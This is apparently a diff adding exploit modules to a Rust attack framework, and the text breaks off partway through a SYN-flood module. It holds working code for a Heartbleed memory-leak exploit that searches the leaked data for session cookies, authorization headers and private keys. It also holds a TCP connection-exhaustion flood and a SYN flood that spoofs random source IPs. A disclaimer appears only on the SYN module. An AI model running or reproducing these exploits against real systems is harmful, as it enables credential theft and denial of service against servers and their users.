if let Some(cookie) = cap.get(1) {
|
||||
println!("{}", format!("[!] Cookie found: {}", cookie.as_str()).yellow().bold());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let session_patterns = vec![
|
||||
r"PHPSESSID=[a-zA-Z0-9]{20,}",
|
||||
r"JSESSIONID=[a-zA-Z0-9]{20,}",
|
||||
r"session[_-]?id[=:][a-zA-Z0-9]{20,}",
|
||||
];
|
||||
|
||||
for pattern in session_patterns {
|
||||
if let Ok(re) = Regex::new(pattern) {
|
||||
for cap in re.find_iter(&data_str) {
|
||||
println!("{}", format!("[!] Session token found: {}", cap.as_str()).yellow().bold());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let key_markers = vec![
|
||||
"-----BEGIN RSA PRIVATE KEY-----",
|
||||
"-----BEGIN PRIVATE KEY-----",
|
||||
"-----BEGIN EC PRIVATE KEY-----",
|
||||
"-----BEGIN DSA PRIVATE KEY-----",
|
||||
"-----BEGIN OPENSSH PRIVATE KEY-----",
|
||||
];
|
||||
|
||||
for marker in key_markers {
|
||||
if data_str.contains(marker) {
|
||||
println!("{}", format!("[!!!] PRIVATE KEY DETECTED: {}", marker).red().bold().on_yellow());
|
||||
}
|
||||
}
|
||||
|
||||
let auth_re = Regex::new(r"Authorization:\s*([^\r\n]+)").ok();
|
||||
if let Some(re) = auth_re {
|
||||
for cap in re.captures_iter(&data_str) {
|
||||
if let Some(auth) = cap.get(1) {
|
||||
println!("{}", format!("[!] Authorization header found: {}", auth.as_str()).yellow().bold());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let email_re = Regex::new(r"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}").ok();
|
||||
if let Some(re) = email_re {
|
||||
let mut emails = std::collections::HashSet::new();
|
||||
for cap in re.find_iter(&data_str) {
|
||||
emails.insert(cap.as_str().to_string());
|
||||
}
|
||||
if !emails.is_empty() {
|
||||
println!();
|
||||
println!("{}", format!("[*] Email addresses found: {}", emails.len()).cyan());
|
||||
for (i, email) in emails.iter().take(5).enumerate() {
|
||||
println!(" {}: {}", i + 1, email);
|
||||
}
|
||||
if emails.len() > 5 {
|
||||
println!(" ... and {} more", emails.len() - 5);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Printable data preview (first 512 bytes):".cyan());
|
||||
println!("{}", printable_dump(&data[..data.len().min(512)]));
|
||||
}
|
||||
|
||||
fn save_leak_dump(filename: &str, data: &[u8]) -> Result<()> {
|
||||
let path = Path::new(filename);
|
||||
let mut file = File::create(path)
|
||||
.with_context(|| format!("Failed to create dump file '{}'", filename))?;
|
||||
file.write_all(data)
|
||||
.with_context(|| format!("Failed to write leak data to '{}'", filename))?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
fn build_client_hello() -> Vec<u8> {
|
||||
let version: u16 = 0x0302;
|
||||
let time_now = match SystemTime::now().duration_since(UNIX_EPOCH) {
|
||||
Ok(d) => d.as_secs() as u32,
|
||||
Err(_) => 0,
|
||||
};
|
||||
|
||||
let mut random = vec![];
|
||||
random.extend_from_slice(&time_now.to_be_bytes());
|
||||
random.extend_from_slice(&[0x42; 28]);
|
||||
|
||||
let cipher_suites: Vec<u16> = vec![
|
||||
0xC014, 0x0035, 0x002F, 0x000A, 0x0005, 0x0004, 0x0003, 0x0002, 0x0001,
|
||||
];
|
||||
|
||||
let mut hello = vec![];
|
||||
hello.extend_from_slice(&version.to_be_bytes());
|
||||
hello.extend_from_slice(&random);
|
||||
hello.push(0);
|
||||
hello.extend_from_slice(&((cipher_suites.len() * 2) as u16).to_be_bytes());
|
||||
for cs in &cipher_suites {
|
||||
hello.extend_from_slice(&cs.to_be_bytes());
|
||||
}
|
||||
hello.push(1);
|
||||
hello.push(0);
|
||||
|
||||
let mut extensions = vec![];
|
||||
extensions.extend_from_slice(&0x000f_u16.to_be_bytes());
|
||||
extensions.extend_from_slice(&0x0001_u16.to_be_bytes());
|
||||
extensions.push(0x01);
|
||||
|
||||
hello.extend_from_slice(&(extensions.len() as u16).to_be_bytes());
|
||||
hello.extend_from_slice(&extensions);
|
||||
|
||||
let mut handshake = vec![0x01];
|
||||
let len = (hello.len() as u32).to_be_bytes();
|
||||
handshake.extend_from_slice(&len[1..]);
|
||||
handshake.extend_from_slice(&hello);
|
||||
|
||||
build_tls_record(0x16, version, &handshake)
|
||||
}
|
||||
|
||||
fn build_heartbeat_request(length: u16) -> Vec<u8> {
|
||||
let mut payload = vec![0x01, (length >> 8) as u8, length as u8];
|
||||
payload.extend_from_slice(&[0x42, 0x42, 0x42, 0x42, 0x42]);
|
||||
build_tls_record(0x18, 0x0302, &payload)
|
||||
}
|
||||
|
||||
fn build_tls_record(record_type: u8, version: u16, payload: &[u8]) -> Vec<u8> {
|
||||
let mut record = vec![record_type];
|
||||
record.extend_from_slice(&version.to_be_bytes());
|
||||
record.extend_from_slice(&(payload.len() as u16).to_be_bytes());
|
||||
record.extend_from_slice(payload);
|
||||
record
|
||||
}
|
||||
|
||||
fn printable_dump(data: &[u8]) -> String {
|
||||
data.iter()
|
||||
.map(|b| match *b {
|
||||
32..=126 => *b as char,
|
||||
b'\n' => '\n',
|
||||
b'\r' | b'\t' => ' ',
|
||||
_ => '.',
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
@@ -0,0 +1,2 @@
|
||||
pub mod heartbleed;
|
||||
pub mod geth_dos_cve_2026_22862;
|
||||
@@ -0,0 +1,360 @@
|
||||
// src/modules/exploits/dos/connection_exhaustion_flood.rs
|
||||
//
|
||||
// Ultra-fast connection flood (server-side exhaustion)
|
||||
// Opens TCP connections in parallel as fast as possible, immediately closes them.
|
||||
// Uses a semaphore to bound max concurrent FDs so the LOCAL machine never runs out.
|
||||
// Target: exhaust server's connection table / TIME_WAIT slots
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use std::net::SocketAddr;
|
||||
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::sync::Semaphore;
|
||||
use tokio::time::Instant;
|
||||
|
||||
use crate::utils::{normalize_target, prompt_default, prompt_port, prompt_required, prompt_yes_no};
|
||||
|
||||
/// Maximum concurrent file descriptors to use (local side protection)
|
||||
const DEFAULT_MAX_FDS: usize = 1000;
|
||||
|
||||
/// Configuration for the connection flood
|
||||
#[derive(Clone, Debug)]
|
||||
struct FloodConfig {
|
||||
target_display: String,
|
||||
resolved_addrs: Vec<SocketAddr>,
|
||||
max_concurrent_fds: usize,
|
||||
worker_count: usize,
|
||||
duration_secs: u64,
|
||||
connect_timeout_ms: u64,
|
||||
verbose: bool,
|
||||
}
|
||||
|
||||
/// Entry point for the module
|
||||
pub async fn run(initial_target: &str) -> Result<()> {
|
||||
print_banner();
|
||||
let config = setup_wizard(initial_target).await?;
|
||||
execute_flood(&config).await
|
||||
}
|
||||
|
||||
fn print_banner() {
|
||||
println!(
|
||||
"{}",
|
||||
r#"
|
||||
╔══════════════════════════════════════════════════════════════╗
|
||||
║ Connection Exhaustion Flood ║
|
||||
║ Ultra-Fast Parallel TCP Connect & Drop ║
|
||||
║ Server-Side Resource Exhaustion ║
|
||||
╠══════════════════════════════════════════════════════════════╣
|
||||
║ This module BOUNDS local FD usage via semaphore. ║
|
||||
║ Your system will NOT run out of file descriptors. ║
|
||||
╚══════════════════════════════════════════════════════════════╝
|
||||
"#
|
||||
.red()
|
||||
.bold()
|
||||
);
|
||||
}
|
||||
|
||||
async fn setup_wizard(initial_target: &str) -> Result<FloodConfig> {
|
||||
println!("{}", "=== Configuration ===".blue().bold());
|
||||
|
||||
// Target
|
||||
let target_input = if initial_target.trim().is_empty() {
|
||||
prompt_required("Target Host/IP")?
|
||||
} else {
|
||||
println!(
|
||||
"{}",
|
||||
format!("[*] Using target: {}", initial_target).cyan()
|
||||
);
|
||||
initial_target.to_string()
|
||||
};
|
||||
|
||||
let normalized = normalize_target(&target_input)?;
|
||||
|
||||
// Extract host and port
|
||||
let (host, port) = if let Some((h, p)) = normalized.split_once(':') {
|
||||
let parsed_port = p.parse::<u16>()
|
||||
.map_err(|_| anyhow!("Invalid port '{}' in target", p))?;
|
||||
(h.to_string(), parsed_port)
|
||||
} else {
|
||||
let p = prompt_port("Target Port", 80)?;
|
||||
(normalized, p)
|
||||
};
|
||||
|
||||
let target_display = format!("{}:{}", host, port);
|
||||
|
||||
// Pre-resolve DNS
|
||||
println!(
|
||||
"{}",
|
||||
format!("[*] Resolving {}...", target_display).yellow()
|
||||
);
|
||||
let resolved_addrs: Vec<SocketAddr> = tokio::net::lookup_host(&target_display)
|
||||
.await
|
||||
.context("Failed to resolve target hostname")?
|
||||
.collect();
|
||||
|
||||
if resolved_addrs.is_empty() {
|
||||
return Err(anyhow!("Could not resolve target address"));
|
||||
}
|
||||
|
||||
println!(
|
||||
"{}",
|
||||
format!("[+] Resolved to: {:?}", resolved_addrs).green()
|
||||
);
|
||||
|
||||
// Max concurrent FDs (local protection)
|
||||
let max_fds_input = prompt_default(
|
||||
"Max Concurrent FDs (local limit)",
|
||||
&DEFAULT_MAX_FDS.to_string(),
|
||||
)?;
|
||||
let max_concurrent_fds: usize = max_fds_input
|
||||
.parse()
|
||||
.map_err(|_| anyhow!("Invalid number for max FDs"))?;
|
||||
|
||||
if max_concurrent_fds == 0 {
|
||||
return Err(anyhow!("Max FDs must be > 0"));
|
||||
}
|
||||
|
||||
// Worker count (async tasks spawning connections)
|
||||
let workers_input = prompt_default("Worker Tasks (parallel spawners)", "2000")?;
|
||||
let worker_count: usize = workers_input
|
||||
.parse()
|
||||
.map_err(|_| anyhow!("Invalid number for workers"))?;
|
||||
|
||||
if worker_count == 0 {
|
||||
return Err(anyhow!("Worker count must be > 0"));
|
||||
}
|
||||
|
||||
// Duration
|
||||
let duration_input = prompt_default("Duration (seconds, 0 = infinite)", "60")?;
|
||||
let duration_secs: u64 = duration_input
|
||||
.parse()
|
||||
.map_err(|_| anyhow!("Invalid duration"))?;
|
||||
|
||||
// Connection timeout
|
||||
let timeout_input = prompt_default("Connection Timeout (ms)", "2000")?;
|
||||
let connect_timeout_ms: u64 = timeout_input
|
||||
.parse()
|
||||
.map_err(|_| anyhow!("Invalid timeout"))?;
|
||||
|
||||
let verbose = prompt_yes_no("Verbose Output (show sample errors)?", false)?;
|
||||
|
||||
println!("\n{}", "=== Attack Summary ===".bold());
|
||||
println!(" Target: {}", target_display.cyan());
|
||||
println!(" Resolved IPs: {:?}", resolved_addrs);
|
||||
println!(" Max Concurrent FDs: {} (LOCAL PROTECTION)", max_concurrent_fds);
|
||||
println!(" Worker Tasks: {}", worker_count);
|
||||
println!(
|
||||
" Duration: {}",
|
||||
if duration_secs == 0 {
|
||||
"INFINITE (Ctrl+C to stop)".to_string()
|
||||
} else {
|
||||
format!("{}s", duration_secs)
|
||||
}
|
||||
);
|
||||
println!(" Mode: Connect & Immediate Drop (FD-Bounded)");
|
||||
println!();
|
||||
println!(
|
||||
"{}",
|
||||
"[!] Your local FD usage is capped. Target's connection"
|
||||
.yellow()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
" table will be exhausted, not yours.".yellow()
|
||||
);
|
||||
|
||||
if !prompt_yes_no("Start Attack?", true)? {
|
||||
return Err(anyhow!("Attack cancelled by user"));
|
||||
}
|
||||
|
||||
Ok(FloodConfig {
|
||||
target_display,
|
||||
resolved_addrs,
|
||||
max_concurrent_fds,
|
||||
worker_count,
|
||||
duration_secs,
|
||||
connect_timeout_ms,
|
||||
verbose,
|
||||
})
|
||||
}
|
||||
|
||||
async fn execute_flood(config: &FloodConfig) -> Result<()> {
|
||||
println!(
|
||||
"\n{}",
|
||||
"[*] Starting Connection Exhaustion Flood..."
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
format!("[*] FD Semaphore limit: {}", config.max_concurrent_fds)
|
||||
.dimmed()
|
||||
);
|
||||
|
||||
let stop_flag = Arc::new(AtomicBool::new(false));
|
||||
let stats_connected = Arc::new(AtomicU64::new(0));
|
||||
let stats_failed = Arc::new(AtomicU64::new(0));
|
||||
|
||||
// Semaphore bounds the number of OPEN file descriptors at any time
|
||||
let fd_semaphore = Arc::new(Semaphore::new(config.max_concurrent_fds));
|
||||
|
||||
let start_time = Instant::now();
|
||||
let connect_timeout = Duration::from_millis(config.connect_timeout_ms);
|
||||
|
||||
// Use first resolved address for raw speed
|
||||
let target_addr = config.resolved_addrs[0];
|
||||
|
||||
// Stats printer task
|
||||
let s_stop = stop_flag.clone();
|
||||
let s_conn = stats_connected.clone();
|
||||
let s_fail = stats_failed.clone();
|
||||
let s_start = start_time;
|
||||
|
||||
let stats_handle = tokio::spawn(async move {
|
||||
let mut last_conn = 0u64;
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(1)).await;
|
||||
if s_stop.load(Ordering::Relaxed) {
|
||||
break;
|
||||
}
|
||||
let conn = s_conn.load(Ordering::Relaxed);
|
||||
let fail = s_fail.load(Ordering::Relaxed);
|
||||
let elapsed = s_start.elapsed().as_secs_f64();
|
||||
let rate = conn as f64 / elapsed.max(0.001);
|
||||
let delta = conn.saturating_sub(last_conn);
|
||||
last_conn = conn;
|
||||
|
||||
print!(
|
||||
"\r{} {}",
|
||||
"[*]".dimmed(),
|
||||
format!(
|
||||
"Connected: {} | Failed: {} | Rate: {:.0}/s | Last sec: {} conns ",
|
||||
conn, fail, rate, delta
|
||||
)
|
||||
.dimmed()
|
||||
);
|
||||
use std::io::Write;
|
||||
let _ = std::io::stdout().flush();
|
||||
}
|
||||
});
|
||||
|
||||
// Spawn worker tasks
|
||||
// Each worker continuously: acquire semaphore -> connect -> close -> release semaphore
|
||||
let mut handles = Vec::with_capacity(config.worker_count);
|
||||
|
||||
for _ in 0..config.worker_count {
|
||||
let stop = stop_flag.clone();
|
||||
let sem = fd_semaphore.clone();
|
||||
let conn_stat = stats_connected.clone();
|
||||
let fail_stat = stats_failed.clone();
|
||||
let timeout = connect_timeout;
|
||||
let verbose = config.verbose;
|
||||
let target = target_addr;
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
let mut rng_counter = 0u64;
|
||||
|
||||
while !stop.load(Ordering::Relaxed) {
|
||||
// Acquire semaphore permit BEFORE opening a connection
|
||||
// This ensures we never exceed max_concurrent_fds open sockets
|
||||
let permit = match sem.acquire().await {
|
||||
Ok(p) => p,
|
||||
Err(_) => break, // Semaphore closed
|
||||
};
|
||||
|
||||
// Attempt connection
|
||||
match tokio::time::timeout(timeout, TcpStream::connect(target)).await {
|
||||
Ok(Ok(stream)) => {
|
||||
// Successfully connected
|
||||
conn_stat.fetch_add(1, Ordering::Relaxed);
|
||||
// Immediately drop the stream to close the connection
|
||||
// This sends FIN, server still has to handle TIME_WAIT
|
||||
drop(stream);
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
// Connection error (refused, unreachable, etc.)
|
||||
fail_stat.fetch_add(1, Ordering::Relaxed);
|
||||
if verbose {
|
||||
rng_counter = rng_counter.wrapping_add(1);
|
||||
// Log ~0.1% of errors
|
||||
if rng_counter % 1000 == 0 {
|
||||
eprintln!("\n[!] Connect error: {}", e);
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(_) => {
|
||||
// Timeout
|
||||
fail_stat.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
}
|
||||
|
||||
// Drop permit to release the semaphore slot
|
||||
// (This happens automatically but being explicit is clearer)
|
||||
drop(permit);
|
||||
}
|
||||
});
|
||||
|
||||
handles.push(handle);
|
||||
}
|
||||
|
||||
// Run for duration (or forever if 0)
|
||||
if config.duration_secs > 0 {
|
||||
tokio::time::sleep(Duration::from_secs(config.duration_secs)).await;
|
||||
} else {
|
||||
// Infinite mode - wait for Ctrl+C signal for graceful shutdown
|
||||
println!(
|
||||
"\n{}",
|
||||
"[*] Running indefinitely. Press Ctrl+C to stop.".yellow()
|
||||
);
|
||||
let _ = tokio::signal::ctrl_c().await;
|
||||
}
|
||||
|
||||
// Signal stop
|
||||
stop_flag.store(true, Ordering::Relaxed);
|
||||
|
||||
println!();
|
||||
println!("{}", "[*] Stopping workers...".yellow());
|
||||
|
||||
// Wait for workers to finish their current iteration
|
||||
for h in handles {
|
||||
let _ = tokio::time::timeout(Duration::from_secs(5), h).await;
|
||||
}
|
||||
|
||||
// Stop stats printer
|
||||
let _ = stats_handle.await;
|
||||
|
||||
// Final report
|
||||
let total_conn = stats_connected.load(Ordering::Relaxed);
|
||||
let total_fail = stats_failed.load(Ordering::Relaxed);
|
||||
let elapsed = start_time.elapsed().as_secs_f64();
|
||||
|
||||
println!("\n{}", "=== Attack Complete ===".green().bold());
|
||||
println!("Target: {}", config.target_display);
|
||||
println!("Duration: {:.2}s", elapsed);
|
||||
println!("Total Connections: {}", total_conn);
|
||||
println!("Failed Attempts: {}", total_fail);
|
||||
|
||||
if elapsed > 0.0 {
|
||||
println!("Average Rate: {:.0} conn/s", total_conn as f64 / elapsed);
|
||||
}
|
||||
|
||||
println!();
|
||||
println!(
|
||||
"{}",
|
||||
format!("[+] Local FD usage was bounded to {} concurrent.", config.max_concurrent_fds)
|
||||
.green()
|
||||
);
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
" Target received {} handshake attempts (server-side exhaustion).",
|
||||
total_conn
|
||||
)
|
||||
.green()
|
||||
);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,3 @@
|
||||
pub mod connection_exhaustion_flood;
|
||||
pub mod null_syn_exhaustion;
|
||||
pub mod tcp_connection_flood;
|
||||
@@ -0,0 +1,636 @@
|
||||
//! Null SYN Exhaustion Testing Module
|
||||
//!
|
||||
//! High-performance SYN flood with null-byte payloads for resource exhaustion testing.
|
||||
//! Uses native OS threads for CPU-bound packet generation with minimal overhead.
|
||||
//! FOR AUTHORIZED TESTING ONLY.
|
||||
|
||||
use anyhow::{anyhow, Context, Result};
|
||||
use colored::*;
|
||||
use pnet_packet::ip::IpNextHeaderProtocols;
|
||||
use pnet_packet::ipv4::{self, MutableIpv4Packet};
|
||||
use pnet_packet::tcp::{MutableTcpPacket, TcpFlags};
|
||||
use socket2::{Domain, Protocol, Socket, Type};
|
||||
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
|
||||
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
|
||||
use std::sync::Arc;
|
||||
use std::thread;
|
||||
use std::time::{Duration, Instant, SystemTime};
|
||||
use crate::utils::{
|
||||
normalize_target, prompt_default, prompt_port, prompt_required, prompt_yes_no,
|
||||
};
|
||||
|
||||
// ============================================================================
|
||||
// CONSTANTS
|
||||
// ============================================================================
|
||||
|
||||
const IPV4_HEADER_LEN: usize = 20;
|
||||
const TCP_HEADER_LEN: usize = 20;
|
||||
const STATS_BATCH_SIZE: u64 = 500; // Flush stats every N packets
|
||||
const DEFAULT_TTL: u8 = 64;
|
||||
const DEFAULT_WINDOW: u16 = 64240;
|
||||
|
||||
// ============================================================================
|
||||
// CONFIGURATION
|
||||
// ============================================================================
|
||||
|
||||
/// Configuration for the exhaustion test
|
||||
#[derive(Clone, Debug)]
|
||||
pub struct ExhaustionConfig {
|
||||
target_ip: Ipv4Addr,
|
||||
target_port: u16,
|
||||
source_port: Option<u16>,
|
||||
use_random_source_ip: bool,
|
||||
worker_count: usize,
|
||||
duration_secs: u64,
|
||||
interval_mode: IntervalMode,
|
||||
payload_size: usize,
|
||||
verbose: bool,
|
||||
}
|
||||
|
||||
#[derive(Clone, Copy, Debug)]
|
||||
pub enum IntervalMode {
|
||||
/// Maximum speed - no artificial delay
|
||||
Zero,
|
||||
/// Fixed delay between packets in microseconds
|
||||
DelayMicros(u64),
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// FAST RNG (Thread-Safe Seeding)
|
||||
// ============================================================================
|
||||
|
||||
/// XorShift128+ PRNG - high performance, non-cryptographic
|
||||
/// Each instance is uniquely seeded using thread ID + time for isolation
|
||||
struct FastRng {
|
||||
s0: u64,
|
||||
s1: u64,
|
||||
}
|
||||
|
||||
impl FastRng {
|
||||
/// Create a new RNG with unique seed per caller
|
||||
fn with_thread_seed(thread_id: usize) -> Self {
|
||||
let time_seed = match SystemTime::now().duration_since(SystemTime::UNIX_EPOCH) {
|
||||
Ok(d) => d.as_nanos() as u64,
|
||||
Err(_) => 0,
|
||||
};
|
||||
|
||||
// Mix thread ID with time to ensure unique seeds across threads
|
||||
let s0 = time_seed ^ (thread_id as u64).wrapping_mul(0x9E3779B97F4A7C15);
|
||||
let s1 = (time_seed.rotate_left(17)) ^ (thread_id as u64).wrapping_mul(0xBF58476D1CE4E5B9);
|
||||
|
||||
let mut rng = Self { s0, s1 };
|
||||
// Warm up the RNG state
|
||||
for _ in 0..16 {
|
||||
rng.next_u64();
|
||||
}
|
||||
rng
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn next_u64(&mut self) -> u64 {
|
||||
let mut x = self.s0;
|
||||
let y = self.s1;
|
||||
self.s0 = y;
|
||||
x ^= x << 23;
|
||||
self.s1 = x ^ y ^ (x >> 17) ^ (y >> 26);
|
||||
self.s1.wrapping_add(y)
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn next_u32(&mut self) -> u32 {
|
||||
self.next_u64() as u32
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn next_u16(&mut self) -> u16 {
|
||||
self.next_u64() as u16
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn gen_ipv4_public(&mut self) -> Ipv4Addr {
|
||||
loop {
|
||||
let octets = self.next_u32().to_be_bytes();
|
||||
// Exclude: loopback, any, multicast, reserved, private ranges
|
||||
match octets[0] {
|
||||
0 | 10 | 127 => continue, // 0.x, 10.x, 127.x
|
||||
224..=255 => continue, // Multicast / Reserved
|
||||
172 if (16..=31).contains(&octets[1]) => continue, // 172.16-31.x
|
||||
192 if octets[1] == 168 => continue, // 192.168.x
|
||||
169 if octets[1] == 254 => continue, // 169.254.x (link-local)
|
||||
100 if (64..=127).contains(&octets[1]) => continue, // 100.64-127.x (CGNAT)
|
||||
_ => return Ipv4Addr::new(octets[0], octets[1], octets[2], octets[3]),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[inline(always)]
|
||||
fn gen_ephemeral_port(&mut self) -> u16 {
|
||||
// Range: 49152-65535 (IANA ephemeral)
|
||||
(self.next_u16() % 16384) + 49152
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// PACKET BUILDER
|
||||
// ============================================================================
|
||||
|
||||
/// Pre-allocated packet buffer with efficient field updates
|
||||
struct PacketBuilder {
|
||||
buffer: Vec<u8>,
|
||||
use_random_src_ip: bool,
|
||||
fixed_src_ip: Ipv4Addr,
|
||||
fixed_src_port: Option<u16>,
|
||||
target_ip: Ipv4Addr,
|
||||
target_port: u16,
|
||||
}
|
||||
|
||||
impl PacketBuilder {
|
||||
fn new(config: &ExhaustionConfig, local_ip: Ipv4Addr) -> Result<Self> {
|
||||
let total_len = IPV4_HEADER_LEN + TCP_HEADER_LEN + config.payload_size;
|
||||
debug_assert!(total_len <= u16::MAX as usize, "Packet size exceeds IPv4 maximum");
|
||||
let buffer = vec![0u8; total_len];
|
||||
|
||||
Ok(Self {
|
||||
buffer,
|
||||
use_random_src_ip: config.use_random_source_ip,
|
||||
fixed_src_ip: local_ip,
|
||||
fixed_src_port: config.source_port,
|
||||
target_ip: config.target_ip,
|
||||
target_port: config.target_port,
|
||||
})
|
||||
}
|
||||
|
||||
/// Update dynamic fields and compute checksums
|
||||
/// Returns a reference to the ready-to-send buffer
|
||||
#[inline]
|
||||
fn build_packet(&mut self, rng: &mut FastRng) -> &[u8] {
|
||||
// CRITICAL: Generate random source IP for each packet when spoofing is enabled
|
||||
let src_ip = if self.use_random_src_ip {
|
||||
rng.gen_ipv4_public() // Generate a NEW random IP for EVERY packet
|
||||
} else {
|
||||
self.fixed_src_ip
|
||||
};
|
||||
|
||||
let src_port = self.fixed_src_port.unwrap_or_else(|| rng.gen_ephemeral_port());
|
||||
let ip_id = rng.next_u16();
|
||||
let seq_num = rng.next_u32();
|
||||
|
||||
let total_len = self.buffer.len() as u16;
|
||||
|
||||
// Build IP header from scratch each time to ensure source IP is set correctly
|
||||
if let Some(mut ip) = MutableIpv4Packet::new(&mut self.buffer) {
|
||||
ip.set_version(4);
|
||||
ip.set_header_length(5);
|
||||
ip.set_dscp(0);
|
||||
ip.set_ecn(0);
|
||||
ip.set_total_length(total_len);
|
||||
ip.set_identification(ip_id);
|
||||
ip.set_flags(0);
|
||||
ip.set_fragment_offset(0);
|
||||
ip.set_ttl(DEFAULT_TTL);
|
||||
ip.set_next_level_protocol(IpNextHeaderProtocols::Tcp);
|
||||
ip.set_source(src_ip); // CRITICAL: Set the random source IP here
|
||||
ip.set_destination(self.target_ip);
|
||||
|
||||
// Calculate IP checksum
|
||||
ip.set_checksum(0);
|
||||
let checksum = ipv4::checksum(&ip.to_immutable());
|
||||
ip.set_checksum(checksum);
|
||||
}
|
||||
|
||||
// Build TCP header
|
||||
if let Some(mut tcp) = MutableTcpPacket::new(&mut self.buffer[IPV4_HEADER_LEN..]) {
|
||||
tcp.set_source(src_port);
|
||||
tcp.set_destination(self.target_port);
|
||||
tcp.set_sequence(seq_num);
|
||||
tcp.set_acknowledgement(0);
|
||||
tcp.set_data_offset(5);
|
||||
tcp.set_reserved(0);
|
||||
tcp.set_flags(TcpFlags::SYN);
|
||||
tcp.set_window(DEFAULT_WINDOW);
|
||||
tcp.set_urgent_ptr(0);
|
||||
tcp.set_checksum(0);
|
||||
}
|
||||
|
||||
// Calculate TCP checksum with pseudo-header
|
||||
let tcp_checksum = self.calculate_tcp_checksum(src_ip);
|
||||
|
||||
if let Some(mut tcp) = MutableTcpPacket::new(&mut self.buffer[IPV4_HEADER_LEN..]) {
|
||||
tcp.set_checksum(tcp_checksum);
|
||||
}
|
||||
|
||||
&self.buffer
|
||||
}
|
||||
|
||||
#[inline]
|
||||
fn calculate_tcp_checksum(&self, src_ip: Ipv4Addr) -> u16 {
|
||||
let mut sum: u32 = 0;
|
||||
|
||||
// 1. Pseudo-Header Sum
|
||||
// Source IP
|
||||
let src_octets = src_ip.octets();
|
||||
sum += u16::from_be_bytes([src_octets[0], src_octets[1]]) as u32;
|
||||
sum += u16::from_be_bytes([src_octets[2], src_octets[3]]) as u32;
|
||||
|
||||
// Dest IP
|
||||
let dst_octets = self.target_ip.octets();
|
||||
sum += u16::from_be_bytes([dst_octets[0], dst_octets[1]]) as u32;
|
||||
sum += u16::from_be_bytes([dst_octets[2], dst_octets[3]]) as u32;
|
||||
|
||||
// Reserved (0) + Protocol (6 for TCP)
|
||||
sum += IpNextHeaderProtocols::Tcp.0 as u32;
|
||||
|
||||
// TCP Length (Header + Payload)
|
||||
let tcp_len = (self.buffer.len() - IPV4_HEADER_LEN) as u32;
|
||||
sum += tcp_len;
|
||||
|
||||
// 2. TCP Header + Payload Sum
|
||||
let tcp_data = &self.buffer[IPV4_HEADER_LEN..];
|
||||
for chunk in tcp_data.chunks(2) {
|
||||
if chunk.len() == 2 {
|
||||
sum += u16::from_be_bytes([chunk[0], chunk[1]]) as u32;
|
||||
} else if chunk.len() == 1 {
|
||||
// Pad last odd byte with zero
|
||||
sum += u16::from_be_bytes([chunk[0], 0]) as u32;
|
||||
}
|
||||
}
|
||||
|
||||
// Fold 32-bit sum to 16-bit
|
||||
while (sum >> 16) != 0 {
|
||||
sum = (sum & 0xFFFF) + (sum >> 16);
|
||||
}
|
||||
|
||||
!(sum as u16)
|
||||
}
|
||||
|
||||
#[inline]
|
||||
fn packet_size(&self) -> usize {
|
||||
self.buffer.len()
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// WORKER THREAD
|
||||
// ============================================================================
|
||||
|
||||
/// Statistics for a single worker
|
||||
struct WorkerStats {
|
||||
packets: u64,
|
||||
bytes: u64,
|
||||
}
|
||||
|
||||
/// Run the packet sending loop for a single worker thread
|
||||
fn worker_thread(
|
||||
worker_id: usize,
|
||||
config: ExhaustionConfig,
|
||||
local_ip: Ipv4Addr,
|
||||
stop_flag: Arc<AtomicBool>,
|
||||
global_packets: Arc<AtomicU64>,
|
||||
global_bytes: Arc<AtomicU64>,
|
||||
start_time: Instant,
|
||||
) {
|
||||
// Create dedicated socket for this worker (no contention)
|
||||
let socket = match create_raw_socket() {
|
||||
Ok(s) => s,
|
||||
Err(e) => {
|
||||
if worker_id == 0 {
|
||||
eprintln!("\n{}", format!("[!] Worker 0 socket error: {}", e).red().bold());
|
||||
}
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
// Pre-allocate packet builder
|
||||
let mut builder = match PacketBuilder::new(&config, local_ip) {
|
||||
Ok(b) => b,
|
||||
Err(e) => {
|
||||
if worker_id == 0 {
|
||||
eprintln!("\n{}", format!("[!] Packet builder error: {}", e).red());
|
||||
}
|
||||
return;
|
||||
}
|
||||
};
|
||||
|
||||
// Thread-local RNG with unique seed
|
||||
let mut rng = FastRng::with_thread_seed(worker_id);
|
||||
|
||||
// Destination socket address (constant)
|
||||
let dst_addr: socket2::SockAddr = SocketAddr::new(IpAddr::V4(config.target_ip), 0).into();
|
||||
|
||||
let duration = Duration::from_secs(config.duration_secs);
|
||||
let delay = match config.interval_mode {
|
||||
IntervalMode::Zero => None,
|
||||
IntervalMode::DelayMicros(us) => Some(Duration::from_micros(us)),
|
||||
};
|
||||
|
||||
let packet_size = builder.packet_size() as u64;
|
||||
